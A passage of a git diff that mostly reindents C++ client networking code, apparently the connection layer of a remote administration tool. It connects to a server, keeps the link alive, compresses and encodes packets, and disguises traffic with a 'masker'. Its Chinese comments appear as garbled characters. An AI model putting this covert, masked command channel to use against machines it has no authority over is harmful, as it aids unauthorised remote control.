getaddrinfo(hostName, nullptr, &hints, &res); - if (status != 0) { - Mprintf("getaddrinfo failed: %s\n", gai_strerror(status)); - return ""; - } + int status = getaddrinfo(hostName, nullptr, &hints, &res); + if (status != 0) { + Mprintf("getaddrinfo failed: %s\n", gai_strerror(status)); + return ""; + } - struct sockaddr_in* addr = reinterpret_cast(res->ai_addr); - char ip[INET_ADDRSTRLEN]; - inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip)); + struct sockaddr_in* addr = reinterpret_cast(res->ai_addr); + char ip[INET_ADDRSTRLEN]; + inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip)); - Mprintf("IP Address: %s \n", ip); + Mprintf("IP Address: %s \n", ip); - freeaddrinfo(res); // ҪͷŵַϢ - return ip; + freeaddrinfo(res); // ҪͷŵַϢ + return ip; #endif } BOOL ConnectWithTimeout(SOCKET sock, SOCKADDR *addr, int timeout_sec=5) { - // ʱΪ - u_long mode = 1; - ioctlsocket(sock, FIONBIO, &mode); + // ʱΪ + u_long mode = 1; + ioctlsocket(sock, FIONBIO, &mode); - // ӣ - int ret = connect(sock, addr, sizeof(*addr)); - if (ret == SOCKET_ERROR) - { - int err = WSAGetLastError(); - if (err != WSAEWOULDBLOCK && err != WSAEINPROGRESS) - { - return FALSE; - } - } + // ӣ + int ret = connect(sock, addr, sizeof(*addr)); + if (ret == SOCKET_ERROR) { + int err = WSAGetLastError(); + if (err != WSAEWOULDBLOCK && err != WSAEINPROGRESS) { + return FALSE; + } + } - // ȴдɻʧܣ - fd_set writefds; - FD_ZERO(&writefds); - FD_SET(sock, &writefds); + // ȴдɻʧܣ + fd_set writefds; + FD_ZERO(&writefds); + FD_SET(sock, &writefds); - timeval tv; - tv.tv_sec = timeout_sec; - tv.tv_usec = 0; + timeval tv; + tv.tv_sec = timeout_sec; + tv.tv_usec = 0; - ret = select(0, NULL, &writefds, NULL, &tv); - if (ret <= 0 || !FD_ISSET(sock, &writefds)) - { - return FALSE; // ʱ - } + ret = select(0, NULL, &writefds, NULL, &tv); + if (ret <= 0 || !FD_ISSET(sock, &writefds)) { + return FALSE; // ʱ + } - // Ƿɹ - int error = 0; - int len = sizeof(error); - getsockopt(sock, SOL_SOCKET, SO_ERROR, (char*)&error, &len); - if (error != 0) - { - return FALSE; - } + // Ƿɹ + int error = 0; + int len = sizeof(error); + getsockopt(sock, SOL_SOCKET, SO_ERROR, (char*)&error, &len); + if (error != 0) { + return FALSE; + } - // Ļģʽ - mode = 0; - ioctlsocket(sock, FIONBIO, &mode); + // Ļģʽ + mode = 0; + ioctlsocket(sock, FIONBIO, &mode); - return TRUE; + return TRUE; } BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) { - if (szServerIP != NULL && uPort != 0) { - SetServerAddress(szServerIP, uPort); - } - m_sCurIP = m_Domain.SelectIP(); - m_masker->SetServer(m_sCurIP.c_str()); - unsigned short port = m_nHostPort; + if (szServerIP != NULL && uPort != 0) { + SetServerAddress(szServerIP, uPort); + } + m_sCurIP = m_Domain.SelectIP(); + m_masker->SetServer(m_sCurIP.c_str()); + unsigned short port = m_nHostPort; - m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); // + m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); // - if (m_sClientSocket == SOCKET_ERROR) - { - return FALSE; - } + if (m_sClientSocket == SOCKET_ERROR) { + return FALSE; + } #ifdef _WIN32 - m_ServerAddr.sin_family = AF_INET; - m_ServerAddr.sin_port = htons(port); - m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str()); + m_ServerAddr.sin_family = AF_INET; + m_ServerAddr.sin_port = htons(port); + m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str()); - if (!ConnectWithTimeout(m_sClientSocket,(SOCKADDR *)&m_ServerAddr)) - { - if (m_sClientSocket!=INVALID_SOCKET) - { - closesocket(m_sClientSocket); - m_sClientSocket = INVALID_SOCKET; - } - return FALSE; - } + if (!ConnectWithTimeout(m_sClientSocket,(SOCKADDR *)&m_ServerAddr)) { + if (m_sClientSocket!=INVALID_SOCKET) { + closesocket(m_sClientSocket); + m_sClientSocket = INVALID_SOCKET; + } + return FALSE; + } #else - m_ServerAddr.sin_family = AF_INET; - m_ServerAddr.sin_port = htons(port); - // szServerIPֿͷΪIPת - // ʹ inet_pton inet_addr (inet_pton ֧ IPv4 IPv6) - if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) { - Mprintf("Invalid address or address not supported\n"); - return false; - } + m_ServerAddr.sin_family = AF_INET; + m_ServerAddr.sin_port = htons(port); + // szServerIPֿͷΪIPת + // ʹ inet_pton inet_addr (inet_pton ֧ IPv4 IPv6) + if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) { + Mprintf("Invalid address or address not supported\n"); + return false; + } - // ׽ - if (m_sClientSocket == -1) { - Mprintf("Failed to create socket\n"); - return false; - } + // ׽ + if (m_sClientSocket == -1) { + Mprintf("Failed to create socket\n"); + return false; + } - // ӵ - if (connect(m_sClientSocket, (struct sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr)) == -1) { - Mprintf("Connection failed\n"); - close(m_sClientSocket); - m_sClientSocket = -1; // ׽Ч - return false; - } + // ӵ + if (connect(m_sClientSocket, (struct sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr)) == -1) { + Mprintf("Connection failed\n"); + close(m_sClientSocket); + m_sClientSocket = -1; // ׽Ч + return false; + } #endif - const int chOpt = 1; // True - // Set KeepAlive , ֹ˲ - if (setsockopt(m_sClientSocket, SOL_SOCKET, SO_KEEPALIVE, - (char *)&chOpt, sizeof(chOpt)) == 0) - { + const int chOpt = 1; // True + // Set KeepAlive , ֹ˲ + if (setsockopt(m_sClientSocket, SOL_SOCKET, SO_KEEPALIVE, + (char *)&chOpt, sizeof(chOpt)) == 0) { #ifdef _WIN32 - // óʱϸϢ - tcp_keepalive klive; - klive.onoff = 1; // ñ - klive.keepalivetime = 1000 * 60 * 3; // 3ӳʱ Keep Alive - klive.keepaliveinterval = 1000 * 5; // ԼΪ5 Resend if No-Reply - WSAIoctl(m_sClientSocket, SIO_KEEPALIVE_VALS,&klive,sizeof(tcp_keepalive), - NULL, 0,(unsigned long *)&chOpt,0,NULL); + // óʱϸϢ + tcp_keepalive klive; + klive.onoff = 1; // ñ + klive.keepalivetime = 1000 * 60 * 3; // 3ӳʱ Keep Alive + klive.keepaliveinterval = 1000 * 5; // ԼΪ5 Resend if No-Reply + WSAIoctl(m_sClientSocket, SIO_KEEPALIVE_VALS,&klive,sizeof(tcp_keepalive), + NULL, 0,(unsigned long *)&chOpt,0,NULL); #else - // ñѡ - SetKeepAliveOptions(m_sClientSocket); + // ñѡ + SetKeepAliveOptions(m_sClientSocket); #endif - } - if (m_hWorkThread == NULL){ + } + if (m_hWorkThread == NULL) { #ifdef _WIN32 - m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc,(LPVOID)this, 0, NULL); - m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP; + m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc,(LPVOID)this, 0, NULL); + m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP; #else - pthread_t id = 0; - m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this); + pthread_t id = 0; + m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this); #endif - } - Mprintf("ӷ˳ɹ.\n"); - m_bConnected = TRUE; - return TRUE; + } + Mprintf("ӷ˳ɹ.\n"); + m_bConnected = TRUE; + return TRUE; } DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) { - IOCPClient* This = (IOCPClient*)lParam; - char* szBuffer = new char[MAX_RECV_BUFFER]; - fd_set fd; - struct timeval tm = { 2, 0 }; - CBuffer m_CompressedBuffer; + IOCPClient* This = (IOCPClient*)lParam; + char* szBuffer = new char[MAX_RECV_BUFFER]; + fd_set fd; + struct timeval tm = { 2, 0 }; + CBuffer m_CompressedBuffer; - while (This->IsRunning()) // û˳һֱѭ - { - if(!This->IsConnected()) - { - Sleep(50); - continue; - } - FD_ZERO(&fd); - FD_SET(This->m_sClientSocket, &fd); + while (This->IsRunning()) { // û˳һֱѭ + if(!This->IsConnected()) { + Sleep(50); + continue; + } + FD_ZERO(&fd); + FD_SET(This->m_sClientSocket, &fd); #ifdef _WIN32 - int iRet = select(NULL, &fd, NULL, NULL, &tm); + int iRet = select(NULL, &fd, NULL, NULL, &tm); #else - int iRet = select(This->m_sClientSocket + 1, &fd, NULL, NULL, &tm); + int iRet = select(This->m_sClientSocket + 1, &fd, NULL, NULL, &tm); #endif - if (iRet <= 0) - { - if (iRet == 0) Sleep(50); - else - { - Mprintf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError()); - This->Disconnect(); //մ - m_CompressedBuffer.ClearBuffer(); - if(This->m_exit_while_disconnect) - break; - } - } - else if (iRet > 0) - { - if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) { - break; - } - } - } - CloseHandle(This->m_hWorkThread); - This->m_hWorkThread = NULL; - This->m_bWorkThread = S_STOP; - This->m_bIsRunning = FALSE; - delete[] szBuffer; + if (iRet <= 0) { + if (iRet == 0) Sleep(50); + else { + Mprintf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError()); + This->Disconnect(); //մ + m_CompressedBuffer.ClearBuffer(); + if(This->m_exit_while_disconnect) + break; + } + } else if (iRet > 0) { + if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) { + break; + } + } + } + CloseHandle(This->m_hWorkThread); + This->m_hWorkThread = NULL; + This->m_bWorkThread = S_STOP; + This->m_bIsRunning = FALSE; + delete[] szBuffer; - return 0xDEAD; + return 0xDEAD; } -bool IOCPClient::ProcessRecvData(CBuffer *m_CompressedBuffer, char *szBuffer, int len, int flag) { - int iReceivedLength = ReceiveData(szBuffer, len, flag); - if (iReceivedLength <= 0) - { - int a = WSAGetLastError(); - Disconnect(); //մ - m_CompressedBuffer->ClearBuffer(); - if (m_exit_while_disconnect) - return false; - } - else { - szBuffer[iReceivedLength] = 0; - //ȷվ͵OnRead,תOnRead - OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength); - } - return true; +bool IOCPClient::ProcessRecvData(CBuffer *m_CompressedBuffer, char *szBuffer, int len, int flag) +{ + int iReceivedLength = ReceiveData(szBuffer, len, flag); + if (iReceivedLength <= 0) { + int a = WSAGetLastError(); + Disconnect(); //մ + m_CompressedBuffer->ClearBuffer(); + if (m_exit_while_disconnect) + return false; + } else { + szBuffer[iReceivedLength] = 0; + //ȷվ͵OnRead,תOnRead + OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength); + } + return true; } // 쳣ݴ߼: // f ִʱ ûдϵͳ쳣ʳͻ 0 // f ִй ׳쳣ָʣ __except 񣬷쳣루 0xC0000005 ʾΥ棩 -int DataProcessWithSEH(DataProcessCB f, void* manager, LPBYTE data, ULONG len) { - __try { - if (f) f(manager, data, len); - return 0; - } - __except (EXCEPTION_EXECUTE_HANDLER) { - return GetExceptionCode(); - } +int DataProcessWithSEH(DataProcessCB f, void* manager, LPBYTE data, ULONG len) +{ + __try { + if (f) f(manager, data, len); + return 0; + } __except (EXCEPTION_EXECUTE_HANDLER) { + return GetExceptionCode(); + } } VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer, ULONG ulLength) { - try - { - assert (ulLength > 0); - //½ӵݽнѹ - m_CompressedBuffer->WriteBuffer((LPBYTE)szBuffer, ulLength); - int FLAG_LENGTH = m_Encoder->GetFlagLen(); - int HDR_LENGTH = m_Encoder->GetHeadLen(); + try { + assert (ulLength > 0); + //½ӵݽнѹ + m_CompressedBuffer->WriteBuffer((LPBYTE)szBuffer, ulLength); + int FLAG_LENGTH = m_Encoder->GetFlagLen(); + int HDR_LENGTH = m_Encoder->GetHeadLen(); - //ǷͷС ǾͲȷ - while (m_CompressedBuffer->GetBufferLength() > HDR_LENGTH) - { - // UnMask - char* src = (char*)m_CompressedBuffer->GetBuffer(); - ULONG srcSize = m_CompressedBuffer->GetBufferLength(); - PkgMaskType maskType = MaskTypeUnknown; - ULONG ret = TryUnMask(src, srcSize, maskType); - // ULONG ret = m_masker->UnMask(src, srcSize); - m_CompressedBuffer->Skip(ret); - if (m_CompressedBuffer->GetBufferLength() <= HDR_LENGTH) - break; + //ǷͷС ǾͲȷ + while (m_CompressedBuffer->GetBufferLength() > HDR_LENGTH) { + // UnMask + char* src = (char*)m_CompressedBuffer->GetBuffer(); + ULONG srcSize = m_CompressedBuffer->GetBufferLength(); + PkgMaskType maskType = MaskTypeUnknown; + ULONG ret = TryUnMask(src, srcSize, maskType); + // ULONG ret = m_masker->UnMask(src, srcSize); + m_CompressedBuffer->Skip(ret); + if (m_CompressedBuffer->GetBufferLength() <= HDR_LENGTH) + break; - char szPacketFlag[32] = {0}; - src = (char*)m_CompressedBuffer->GetBuffer(); - CopyMemory(szPacketFlag, src, FLAG_LENGTH); - //жͷ - HeaderEncType encType = HeaderEncUnknown; - FlagType flagType = CheckHead(szPacketFlag, encType); - if (flagType == FLAG_UNKNOWN) { - Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s. Mask: %d'\n", szPacketFlag, maskType); - m_CompressedBuffer->ClearBuffer(); - break; - } + char szPacketFlag[32] = {0}; + src = (char*)m_CompressedBuffer->GetBuffer(); + CopyMemory(szPacketFlag, src, FLAG_LENGTH); + //жͷ + HeaderEncType encType = HeaderEncUnknown; + FlagType flagType = CheckHead(szPacketFlag, encType); + if (flagType == FLAG_UNKNOWN) { + Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s. Mask: %d'\n", szPacketFlag, maskType); + m_CompressedBuffer->ClearBuffer(); + break; + } - ULONG ulPackTotalLength = 0; - CopyMemory(&ulPackTotalLength, m_CompressedBuffer->GetBuffer(FLAG_LENGTH), sizeof(ULONG)); + ULONG ulPackTotalLength = 0; + CopyMemory(&ulPackTotalLength, m_CompressedBuffer->GetBuffer(FLAG_LENGTH), sizeof(ULONG)); - //--- ݵĴСȷж - ULONG len = m_CompressedBuffer->GetBufferLength(); - if (ulPackTotalLength && len >= ulPackTotalLength) - { - ULONG ulOriginalLength = 0; + //--- ݵĴСȷж + ULONG len = m_CompressedBuffer->GetBufferLength(); + if (ulPackTotalLength && len >= ulPackTotalLength) { + ULONG ulOriginalLength = 0; - m_CompressedBuffer->ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//ȡͷ shine - m_CompressedBuffer->ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG)); - m_CompressedBuffer->ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG)); + m_CompressedBuffer->ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//ȡͷ shine + m_CompressedBuffer->ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG)); + m_CompressedBuffer->ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG)); - ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; - const int bufSize = 512; - BYTE buf1[bufSize], buf2[bufSize]; - PBYTE CompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulCompressedLength] : buf1; - PBYTE DeCompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulOriginalLength] : buf2; + ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; + const int bufSize = 512; + BYTE buf1[bufSize], buf2[bufSize]; + PBYTE CompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulCompressedLength] : buf1; + PBYTE DeCompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulOriginalLength] : buf2; - m_CompressedBuffer->ReadBuffer(CompressedBuffer, ulCompressedLength); - m_Encoder->Decode(CompressedBuffer, ulCompressedLength, (LPBYTE)szPacketFlag); - size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength); + m_CompressedBuffer->ReadBuffer(CompressedBuffer, ulCompressedLength); + m_Encoder->Decode(CompressedBuffer, ulCompressedLength, (LPBYTE)szPacketFlag); + size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength); - if (Z_SUCCESS(iRet))//ѹɹ - { - //ѹõݺͳȴݸManagerд ע˶̬ - //m_pManagerе಻һɵõOnReceiveһ - int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength); - if (ret) { - Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret); - } - } - else{ - Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength); - m_CompressedBuffer->ClearBuffer(); - } + if (Z_SUCCESS(iRet)) { //ѹɹ + //ѹõݺͳȴݸManagerд ע˶̬ + //m_pManagerе಻һɵõOnReceiveһ + int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength); + if (ret) { + Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret); + } + } else { + Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength); + m_CompressedBuffer->ClearBuffer(); + } - if (CompressedBuffer != buf1)delete [] CompressedBuffer; - if (DeCompressedBuffer != buf2)delete [] DeCompressedBuffer; - } - else { - break; // received data is incomplete - } - } - }catch(...) { - m_CompressedBuffer->ClearBuffer(); - Mprintf("[ERROR] OnServerReceiving catch an error \n"); - } + if (CompressedBuffer != buf1)delete [] CompressedBuffer; + if (DeCompressedBuffer != buf2)delete [] DeCompressedBuffer; + } else { + break; // received data is incomplete + } + } + } catch(...) { + m_CompressedBuffer->ClearBuffer(); + Mprintf("[ERROR] OnServerReceiving catch an error \n"); + } } @@ -501,159 +483,153 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer, // رѹʱSendWithSplitȽϺʱ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask) //Hello { - AUTO_TICK(40); - assert (ulOriginalLength > 0); - { - int cmd = BYTE(szBuffer[0]); - //1.001Ҳѹռõڴռԭһ +12 - //ֹ// HelloWorld 10 22 - //ѹ ѹ㷨 ΢ṩ - //nSize = 436 - //destLen = 448 + AUTO_TICK(40); + assert (ulOriginalLength > 0); + { + int cmd = BYTE(szBuffer[0]); + //1.001Ҳѹռõڴռԭһ +12 + //ֹ// HelloWorld 10 22 + //ѹ ѹ㷨 ΢ṩ + //nSize = 436 + //destLen = 448 #if USING_ZLIB - unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12; + unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12; #else - unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength); + unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength); #endif - BYTE buf[1024]; - LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf; + BYTE buf[1024]; + LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf; - int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength); - if (Z_FAILED(iRet)) - { - Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength); - if (CompressedBuffer != buf) delete [] CompressedBuffer; - return FALSE; - } + int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength); + if (Z_FAILED(iRet)) { + Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength); + if (CompressedBuffer != buf) delete [] CompressedBuffer; + return FALSE; + } #if !USING_ZLIB - ulCompressedLength = iRet; + ulCompressedLength = iRet; #endif - ULONG ulPackTotalLength = ulCompressedLength + m_Encoder->GetHeadLen(); - CBuffer m_WriteBuffer; - HeaderFlag H = m_Encoder->GetHead(); - m_Encoder->Encode(CompressedBuffer, ulCompressedLength, (LPBYTE)H.data()); - m_WriteBuffer.WriteBuffer((PBYTE)H.data(), m_Encoder->GetFlagLen()); + ULONG ulPackTotalLength = ulCompressedLength + m_Encoder->GetHeadLen(); + CBuffer m_WriteBuffer; + HeaderFlag H = m_Encoder->GetHead(); + m_Encoder->Encode(CompressedBuffer, ulCompressedLength, (LPBYTE)H.data()); + m_WriteBuffer.WriteBuffer((PBYTE)H.data(), m_Encoder->GetFlagLen()); - m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG)); + m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG)); - m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG)); + m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG)); - m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength); + m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength); - if (CompressedBuffer != buf) delete [] CompressedBuffer; + if (CompressedBuffer != buf) delete [] CompressedBuffer; - STOP_TICK; - // ֿ鷢 - return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd, mask); - } + STOP_TICK; + // ֿ鷢 + return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd, mask); + } } // 5 2 // 2 2 1 BOOL IOCPClient::SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask) { - AUTO_TICK(50); - if (src == nullptr || srcSize == 0 || ulSplitLength == 0) - return FALSE; - // Mask - char* szBuffer = nullptr; - ULONG ulLength = 0; - (mask && srcSize <= ulSplitLength) ? mask->SetServer(m_sCurIP)->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd) : - m_masker->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd); - if(szBuffer != src && srcSize > ulSplitLength){ - Mprintf("SendWithSplit: %d bytes large packet may causes issues.\n", srcSize); - } - bool isFail = false; - int iReturn = 0; //˶ - const char* Travel = szBuffer; - int i = 0; - int ulSended = 0; - const int ulSendRetry = 15; - // η - for (i = ulLength; i >= ulSplitLength; i -= ulSplitLength) - { - int j = 0; - for (; j < ulSendRetry; ++j) - { - iReturn = SendTo(Travel, ulSplitLength, 0); - if (iReturn > 0) - { - break; - } - } - if (j == ulSendRetry) - { - isFail = true; - break; - } + AUTO_TICK(50); + if (src == nullptr || srcSize == 0 || ulSplitLength == 0) + return FALSE; + // Mask + char* szBuffer = nullptr; + ULONG ulLength = 0; + (mask && srcSize <= ulSplitLength) ? mask->SetServer(m_sCurIP)->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd) : + m_masker->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd); + if(szBuffer != src && srcSize > ulSplitLength) { + Mprintf("SendWithSplit: %d bytes large packet may causes issues.\n", srcSize); + } + bool isFail = false; + int iReturn = 0; //˶ + const char* Travel = szBuffer; + int i = 0; + int ulSended = 0; + const int ulSendRetry = 15; + // η + for (i = ulLength; i >= ulSplitLength; i -= ulSplitLength) { + int j = 0; + for (; j < ulSendRetry; ++j) { + iReturn = SendTo(Travel, ulSplitLength, 0); + if (iReturn > 0) { + break; + } + } + if (j == ulSendRetry) { + isFail = true; + break; + } - ulSended += iReturn; - Travel += ulSplitLength; - } - // IJ - if (!isFail && i>0) //1024 - { - int j = 0; - for (; j < ulSendRetry; j++) - { - iReturn = SendTo((char*)Travel,i,0); + ulSended += iReturn; + Travel += ulSplitLength; + } + // IJ + if (!isFail && i>0) { //1024 + int j = 0; + for (; j < ulSendRetry; j++) { + iReturn = SendTo((char*)Travel,i,0); - if (iReturn > 0) - { - break; - } - } - if (j == ulSendRetry) - { - isFail = true; - } - ulSended += iReturn; - } - if (szBuffer != src) - SAFE_DELETE_ARRAY(szBuffer); - if (isFail) { - return FALSE; - } + if (iReturn > 0) { + break; + } + } + if (j == ulSendRetry) { + isFail = true; + } + ulSended += iReturn; + } + if (szBuffer != src) + SAFE_DELETE_ARRAY(szBuffer); + if (isFail) { + return FALSE; + } - return (ulSended == ulLength) ? TRUE : FALSE; + return (ulSended == ulLength) ? TRUE : FALSE; } -VOID IOCPClient::Disconnect() +VOID IOCPClient::Disconnect() { - if (m_sClientSocket == INVALID_SOCKET) - return; + if (m_sClientSocket == INVALID_SOCKET) + return; - Mprintf("Disconnect with [%s:%d].\n", m_sCurIP.c_str(), m_nHostPort); + Mprintf("Disconnect with [%s:%d].\n", m_sCurIP.c_str(), m_nHostPort); - CancelIo((HANDLE)m_sClientSocket); - closesocket(m_sClientSocket); - m_sClientSocket = INVALID_SOCKET; + CancelIo((HANDLE)m_sClientSocket); + closesocket(m_sClientSocket); + m_sClientSocket = INVALID_SOCKET; - m_bConnected = FALSE; + m_bConnected = FALSE; } VOID IOCPClient::RunEventLoop(const BOOL &bCondition) { - Mprintf("======> RunEventLoop begin\n"); - while ((m_bIsRunning && bCondition) || bCondition == FOREVER_RUN) - Sleep(200); - setManagerCallBack(NULL, NULL); - Mprintf("======> RunEventLoop end\n"); + Mprintf("======> RunEventLoop begin\n"); + while ((m_bIsRunning && bCondition) || bCondition == FOREVER_RUN) + Sleep(200); + setManagerCallBack(NULL, NULL); + Mprintf("======> RunEventLoop end\n"); } -BOOL is_valid() { return TRUE; } +BOOL is_valid() +{ + return TRUE; +} VOID IOCPClient::RunEventLoop(TrailCheck checker) { - Mprintf("======> RunEventLoop begin\n"); - checker = checker ? checker : is_valid; + Mprintf("======> RunEventLoop begin\n"); + checker = checker ? checker : is_valid; #ifdef _DEBUG - checker = is_valid; + checker = is_valid; #endif - while (m_bIsRunning && checker()) - Sleep(200); - setManagerCallBack(NULL, NULL); - Mprintf("======> RunEventLoop end\n"); + while (m_bIsRunning && checker()) + Sleep(200); + setManagerCallBack(NULL, NULL); + Mprintf("======> RunEventLoop end\n"); } diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 1a86e48..fffa4cc 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -29,82 +29,106 @@ enum { S_STOP = 0, S_RUN, S_END }; typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength); -class ProtocolEncoder { +class ProtocolEncoder +{ public: - virtual ~ProtocolEncoder(){} - virtual HeaderFlag GetHead() const { - return "Shine"; - } - virtual int GetHeadLen() const { - return 13; - } - virtual int GetFlagLen() const { - return 5; - } - virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {} - virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {} - virtual EncFun GetHeaderEncoder() const { return nullptr; } + virtual ~ProtocolEncoder() {} + virtual HeaderFlag GetHead() const + { + return "Shine"; + } + virtual int GetHeadLen() const + { + return 13; + } + virtual int GetFlagLen() const + { + return 5; + } + virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {} + virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {} + virtual EncFun GetHeaderEncoder() const + { + return nullptr; + } }; -class HellEncoder : public ProtocolEncoder { +class HellEncoder : public ProtocolEncoder +{ private: - EncFun m_HeaderEnc; - Encoder *m_BodyEnc; + EncFun m_HeaderEnc; + Encoder *m_BodyEnc; public: - HellEncoder(EncFun head, Encoder *body) { - m_HeaderEnc = head; - m_BodyEnc = body; - } - ~HellEncoder() { - SAFE_DELETE(m_BodyEnc); - } - virtual HeaderFlag GetHead() const override { - return ::GetHead(m_HeaderEnc); - } - virtual int GetHeadLen() const override { - return 16; - } - virtual int GetFlagLen() const override { - return 8; - } - virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) override { - return m_BodyEnc->Encode(data, len, param); - } - virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) override { - return m_BodyEnc->Decode(data, len, param); - } - virtual EncFun GetHeaderEncoder() const override { - return m_HeaderEnc; - } + HellEncoder(EncFun head, Encoder *body) + { + m_HeaderEnc = head; + m_BodyEnc = body; + } + ~HellEncoder() + { + SAFE_DELETE(m_BodyEnc); + } + virtual HeaderFlag GetHead() const override + { + return ::GetHead(m_HeaderEnc); + } + virtual int GetHeadLen() const override + { + return 16; + } + virtual int GetFlagLen() const override + { + return 8; + } + virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) override + { + return m_BodyEnc->Encode(data, len, param); + } + virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) override + { + return m_BodyEnc->Decode(data, len, param); + } + virtual EncFun GetHeaderEncoder() const override + { + return m_HeaderEnc; + } }; -class IOCPManager { +class IOCPManager +{ public: - virtual ~IOCPManager() {} - virtual BOOL IsAlive() const { return TRUE; } - virtual BOOL IsReady() const { return TRUE; } - virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { } + virtual ~IOCPManager() {} + virtual BOOL IsAlive() const + { + return TRUE; + } + virtual BOOL IsReady() const + { + return TRUE; + } + virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { } - static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) { - IOCPManager* m_Manager = (IOCPManager*)user; - if (nullptr == m_Manager) { - Mprintf("IOCPManager DataProcess on NULL ptr: %d\n", unsigned(szBuffer[0])); - return FALSE; - } - // ȴ׼ܴ, 1㹻 - int i = 0; - 